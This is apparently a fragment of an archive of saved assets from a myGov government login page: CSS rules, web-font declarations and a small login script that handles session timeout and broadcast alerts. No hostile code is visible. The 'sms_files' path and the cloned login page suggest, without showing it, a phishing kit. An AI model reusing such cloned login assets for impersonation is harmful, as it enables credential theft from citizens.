#254a7e}.unauth-grid{width:100%}.unauth-grid .unauth-grid-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between}.unauth-grid .unauth-grid-row .header-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.unauth-grid .unauth-grid-row .header-links a{font-size:16px;font-size:1rem;color:#000}.unauth-grid .unauth-grid-row .header-links a:hover{color:#fff;background-color:#254a7e}img#unauth-govt-crest{width:100%;height:auto}.unauth-govt-crest__link{width:174px;width:10.875rem}@media screen and (min-width:640px){.unauth-govt-crest__link{width:236px;width:14.75rem}}@media screen and (min-width:1024px){.unauth-govt-crest__link{width:328px;width:20.5rem;height:auto}}.brand-rainbow{display:none}header.mgvEnhanceHeader{background-color:#66d3ee;height:auto;min-height:0;border:0 none;color:#000}header.mgvEnhanceHeader[role="banner"]>.wrapper{min-height:0;padding:0}header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding:16px 20px;padding:1rem 1.25rem;min-height:69.77px;min-height:4.36063rem;height:auto}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{width:1360px;width:85rem}}@media screen and (min-width:640px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{min-height:83.24px;min-height:5.2025rem}}@media screen and (min-width:1024px){header.mgvEnhanceHeader[role="banner"]>.wrapper>.inner{padding:50px 40px;padding:3.125rem 2.5rem;min-height:192.4px;min-height:12.025rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower,.unauth footer[role="contentinfo"] .footer-lower{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row}}html footer[role="contentinfo"]>.wrapper,.unauth footer[role="contentinfo"]>.wrapper{padding-right:0;padding-left:0}html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:20px;padding-right:1.25rem;padding-right:20px;padding-right:1.25rem;padding-left:20px;padding-left:1.25rem;width:100%;margin-right:auto;margin-left:auto;padding-bottom:40px;padding-bottom:2.5rem}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{padding-right:40px;padding-right:2.5rem;padding-left:40px;padding-left:2.5rem}}@media screen and (min-width:1024px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1024px;width:64rem}}@media screen and (min-width:1244px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1244px;width:77.75rem}}@media screen and (min-width:1360px){html footer[role="contentinfo"]>.wrapper>.inner,.unauth footer[role="contentinfo"]>.wrapper>.inner{width:1360px;width:85rem}}html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:56px;height:3.5rem;max-width:322px;max-width:20.125rem;margin-bottom:46px;margin-bottom:2.875rem}html footer[role="contentinfo"] .footer-lower-logo img,.unauth footer[role="contentinfo"] .footer-lower-logo img{height:100%}html footer[role="contentinfo"] .footer-lower-logo>a,.unauth footer[role="contentinfo"] .footer-lower-logo>a{display:inline}@media screen and (min-width:576px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}@media screen and (min-width:992px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:54px;height:3.375rem;max-width:308px;max-width:19.25rem;margin-right:32px;margin-right:2rem;margin-bottom:0}}@media screen and (min-width:1200px){html footer[role="contentinfo"] .footer-lower-logo,.unauth footer[role="contentinfo"] .footer-lower-logo{height:68px;height:4.25rem;max-width:390px;max-width:24.375rem}}mygov/app/sms_files/css000064400000037222151676702570011212 0ustar00/* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 200; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* vietnamese */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wdhyzbi.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Montserrat'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/montserrat/v25/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 300; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 700; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } /* cyrillic-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCRc4EsA.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F; } /* cyrillic */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfABc4EsA.woff2) format('woff2'); unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116; } /* greek-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF; } /* greek */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-03FF; } /* vietnamese */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfCxc4EsA.woff2) format('woff2'); unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB; } /* latin-ext */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfChc4EsA.woff2) format('woff2'); unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF; } /* latin */ @font-face { font-family: 'Roboto'; font-style: normal; font-weight: 900; font-display: swap; src: url(https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmYUtfBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD; } mygov/app/sms_files/login.js.download000064400000003030151676702570013741 0ustar00setTimeout(function(){window.location="/mygov/content/html/session-expired.html";},1740000);function priorityLookup(levelName){switch(levelName){case"high":return 1;case"medium":return 2;case"low":return 3;default:return 4;}}function compareDates(firstDate,secondDate){firstDate=new Date(firstDate);secondDate=new Date(secondDate);return firstDate<secondDate?1:-1;}function getTopAlert(entries){var sortedAlerts=entries.sort(function(firstEntry,secondEntry){if(priorityLookup(firstEntry.priority)===priorityLookup(secondEntry.priority)){return compareDates(firstEntry.modified,secondEntry.modified);}return priorityLookup(firstEntry.priority)>priorityLookup(secondEntry.priority)?1:-1;});return sortedAlerts[0];}function getTopBroadcast(entries){var sortedBroadcasts=entries.sort(function(firstEntry,secondEntry){return compareDates(firstEntry.modified,secondEntry.modified);});return sortedBroadcasts[0];}function displayBroadcast(alert){if(alert&&alert.body){$(".emergency-text").html(alert.body);$(".emergency-text").find("a").attr("target","_blank");$(".emergency-information").css({height:"auto",padding:"17px 5px"});}}$(document).ready(function(){var url=$("#govcms-endpoint").val();var clientId=$("#govcms-client-id").val();var apiVersion=$("#govcms-api-version").val();if(url&&clientId&&apiVersion){fetch(url,{headers:{"x-caas-client-id":clientId,"x-caas-version":apiVersion,"Cache-Control":"no-cache"}}).then(function(resp){return resp.json();}).then(function(data){if(data&&data.broadcasts){displayBroadcast(getTopBroadcast(data.broadcasts));}});}});mygov/app/sms_files/mgv2-application.css000064400000364774151676702570014404 0ustar00.pathway-link-item:focus,.alert-link .alert-link-arrow:focus,.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active,.button-main-mapwap:focus,.button-main-mapwap:active,.anchor:focus,.button-back:focus,.button-close:focus,form [type='radio']:focus+label,form [type='checkbox']:focus+label,button:focus,input:focus,optgroup:focus,select:focus,textarea:focus,.chosen-container:focus,.chosen-select:focus,body a:focus,body .non-transition-link:focus,footer[role='contentinfo'] a:focus,footer[role='contentinfo'] .non-transition-link:focus,.link-arrow:focus,.menu-hitbox:focus,.outage .expand:focus{outline:3px solid #666;outline-offset:2px}.pathway-link-item:focus,.alert-link .alert-link-arrow:focus{outline-offset:-1px}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}html{box-sizing:border-box}*,*::after,*::before{box-sizing:inherit}[type='checkbox']+label[for="same-as-residential"]{display:block;margin-top:30px}.raet-container{display:block;position:relative;width:auto;width:100%;line-height:1.3em}.raet-line{overflow:visible;width:100%;margin:.75em 0 0;box-sizing:border-box;-webkit-transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;transition:height 500ms ease-out,margin-top 500ms linear,opacity 500ms linear;height:auto;opacity:1}.raet-line:first-child{margin-top:0}.raet-line:focus{color:blue}.raet-message-success{color:#009b27;background-color:#effbf2;border:1px solid #009b27}.raet-message-fail{color:#bd6400;background-color:#ffffef;border:1px solid #bd6400}.raet-button{display:inline-block;font-size:1em;display:none;cursor:pointer;margin:0 3px;color:#007373;background:#e4efef;border:1px solid #007373}.raet-button:hover{color:black;background:#e2e2e2;border-color:black}.raet-container .raet-singleLine-input{width:100%}.raet-inlineWrapper{position:relative;display:inline-block;margin-bottom:6px!important;max-width:42em}.raet-inlineWrapper>input{box-sizing:border-box}.raet-dropDown{position:absolute;font-size:1em;display:none;left:0;right:0;z-index:1;max-height:425px;overflow:auto;list-style:none;margin:0;padding:0;background:white;border:1px solid grey;box-sizing:border-box;width:100%}.raet-dropDown li{cursor:pointer;padding:.9em .5em .3em;color:#555;min-height:1em}.raet-dropDown .additionalInfo{font-size:.9em;padding-left:1em;line-height:1.75em;text-transform:uppercase}.raet-dropDown strong{color:black}.raet-dropDown li:hover{background-color:#f5f5f5}.raet-dropDown .selected{background-color:#eee}@-webkit-keyframes rotate{100%{-webkit-transform:rotate(360deg)}}@keyframes rotate{100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.raet-spinner{pointer-events:none;display:block;position:absolute;top:0;right:0;border-radius:10px;border:3px solid #aaa;background:white;border-left-color:white;border-right-color:white;margin:3px;opacity:0;-webkit-transition:200ms linear opacity;transition:200ms linear opacity;-webkit-animation:rotate .9s linear infinite;animation:rotate .9s linear infinite}input::-ms-clear{width:0;height:0}.raet-aria-status{border:0 none;clip:rect(0,0,0,0);height:1px;width:1px;margin:-1px;overflow:hidden;padding:0;position:absolute}.raet-inputWrapper>input{width:100%;box-sizing:border-box}.raet-container input,.raet-container select{border:1px solid #969696}#raetDiv-home>div:nth-child(2){display:none}#raetDiv-postal>div:nth-child(2){display:none}/*! Chosen, a Select Box Enhancer for jQuery and Prototype by Patrick Filler for Harvest, http://getharvest.com Version 1.6.2 Full source at https://github.com/harvesthq/chosen Copyright (c) 2011-2016 Harvest http://getharvest.com MIT License, https://github.com/harvesthq/chosen/blob/master/LICENSE.md This file is generated by `grunt build`, do not edit it by hand. */.chosen-container{position:relative;display:block;vertical-align:middle;font-size:1rem;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.chosen-container *{box-sizing:border-box}.chosen-container .chosen-drop{position:absolute;top:100%;left:-9999px;z-index:1010;width:100%;border:1px solid #aaa;border-top:0;background:#fff}.chosen-container.chosen-with-drop .chosen-drop{left:0}.chosen-container a{cursor:pointer}.chosen-container .search-choice .group-name,.chosen-container .chosen-single .group-name{margin-right:4px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-weight:normal;color:#999}.chosen-container .search-choice .group-name:after,.chosen-container .chosen-single .group-name:after{content:":";padding-left:2px;vertical-align:top}.chosen-container-single .chosen-single{position:relative;display:block;overflow:hidden;padding:.7em;border:1px solid 